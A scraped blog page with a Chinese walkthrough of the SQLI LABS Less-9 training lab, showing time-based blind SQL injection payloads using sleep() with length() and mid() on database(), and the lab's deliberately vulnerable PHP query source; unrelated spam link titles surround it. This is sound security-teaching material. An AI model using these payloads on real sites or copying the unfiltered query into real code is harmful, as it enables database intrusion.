当前位置: 首页 > news >正文

建设部网站政策法规网页设计要学些什么

建设部网站政策法规,网页设计要学些什么,wordpress无觅关联插件,个人网页是什么关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客 0x01:过关流程 输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来): http://localhost/sqli-labs/Less-9/ 靶场提示 …

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-9/

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了 You are in...........,似乎是认可了我们的操作,但是我们并没有获得什么有效的信息。此时,我们可以再输入几个数据进行测试:

 测试 Payload 01: ?id=1   # 结果: You are in...........测试 Payload 02: ?id=2   # 结果: You are in...........测试 Payload 03: ?id=2-1 # 结果: You are in...........测试 Payload 04: ?id=1'  # 结果: You are in...........测试 Payload 05: ?id=1"  # 结果: You are in...........

如上,我们一共测试了 5 个 Payload,后端返回的一直都是 You are in...........,此时我们需要分析一下了。后端常用的 SQL 注入模板中闭合符号一般是 '",只要我们的 Payload 能够逃逸出这两种符号,后端返回的内容多少都会有些异常的。但是从上面的五组 Payload 来看,后端返回的都是一样的数据。如此,会有两种情况:

  1. 目标后端过滤的很好,我们测试的 Payload 都没有成功逃逸出目标的过滤。

  2. 目标后端过滤的不好,它执行了我们传递给它的参数,但是它通过回显欺骗了我们。

这里笔者更倾向第二种,毕竟要是第一种的话,就测不下去啦。面对这种回显都一样的情况,我们可以采用时间盲注,下面是测试的 Payload(时间盲注的 Payload 需要完美闭合才有用哦):

 测试 Payload 01: ?id=1 and sleep(5) --+    # 响应时间: 11ms测试 Payload 02: ?id=1' and sleep(5) --+'  # 响应时间: 5.04s

可以看到,当我们传递 Payload 02 给服务器后端时,服务器的响应时间明显不正常。根据我们测试的 Payload,我们可以推测出目标后端的 SQL 模板如下:

 select username,password from users where id='$_GET["id"]' LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击(使用[[0x0304B:SQL 注入 —— 时间盲注|时间盲注]]):

 -- 获取当前服务器正在使用的数据库的名称的长度攻击 Payload: ?id=1' and sleep(if(length(database())=1,5,0)) --+'笔者备注: 当响应时间 >= 5s 时,证明猜测正确,否则猜测错误​-- 以下是攻击成功的 Payload 的示例Payload - 猜测目标数据库名长度: ?id=1' and sleep(if(length(database())=8,5,0)) --+'Payload - 获取数据库第一个字符: ?id=1' and sleep(if(mid(database(),1,1)='s',5,0)) --+'Payload - 获取数据库第二个字符: ?id=1' and sleep(if(mid(database(),2,1)='e',5,0)) --+'....

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,Less-9 GET-Blind-Time based-Single Quotes 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-9 GET-Blind-Time based-Single Quotes 后端的部分源码,以及笔者做的笔记:

<?php//including the Mysql connect parameters.include("../sql-connections/sqli-connect.php");     // 获取数据库连接函数error_reporting(0);​// take the variablesif (isset($_GET['id'])) {$id = $_GET['id'];//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);​// connectivity ​​$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 服务器后端实际执行的 SQL 语句,因为没有过滤,虽然无回显,但通过时间盲注还是能发现$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);​if ($row) {     // 如果查询到结果,输出 You are in .....echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";} else {        // 如果没有查询到结果,也输出 You are in .......echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysqli_error($con1));//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}} else {echo "Please input the ID as parameter with numeric value";}?>

http://www.yayakq.cn/news/622472/

相关文章:

  • qq代挂网站建设国内建设网站的公司
  • 公司网站制作苏州广州平面设计公司有哪些
  • wordpress增加菜单成都优化网站分析
  • 安徽省建设监理协会网站长图海报制作网站
  • 鄱阳做网站wordpress 用户登录记录
  • 建站免费建站平台道县网站建设
  • 建设部设计院网站机械配件网站建设
  • 想学编程做网站广州网站设计哪里好
  • 用腾讯云做网站设计iphone手机网站
  • 成都培训网站建设重庆市工程建设信息网新网站
  • .net core 网站开发中国能源建设集团有限公司官网招聘
  • 网站建设工作简介做旅游平台网站找哪家好
  • 大型网站怎么做seo做系统简单还是网站简单
  • seo站长助手上海金融网站建设公司
  • 做天猫网站价格博客网站建设基本流程
  • icp网站 是什么意思江西专业的企业网站建设公司
  • 松江网站开发培训班销售口才900句
  • seo做的好的网站网络维护公司排名
  • 小米网站建设书建e网如何合并多个全景图
  • 丽水微信网站建设报价网站ueo
  • 网站设置快捷方式到桌面中文com域名注册
  • 广州公司网站制作费用长沙3合1网站建设
  • 正能量视频素材免费下载网站wordpress做菜鸟教程
  • dw网站建设教程重庆奉节网站建设公司哪家好
  • 廊坊企业自助建站九江网站建设制作
  • cdn网站网络加速器什么样的网站必须做备案
  • php网站开发环境论文做网站没流量
  • 李笑来做的一个网站可口可乐网络营销案例
  • 龙岩网站设计 信任推商吧做词直播间网站建设
  • 网站开发的wordpress外贸吾爱破解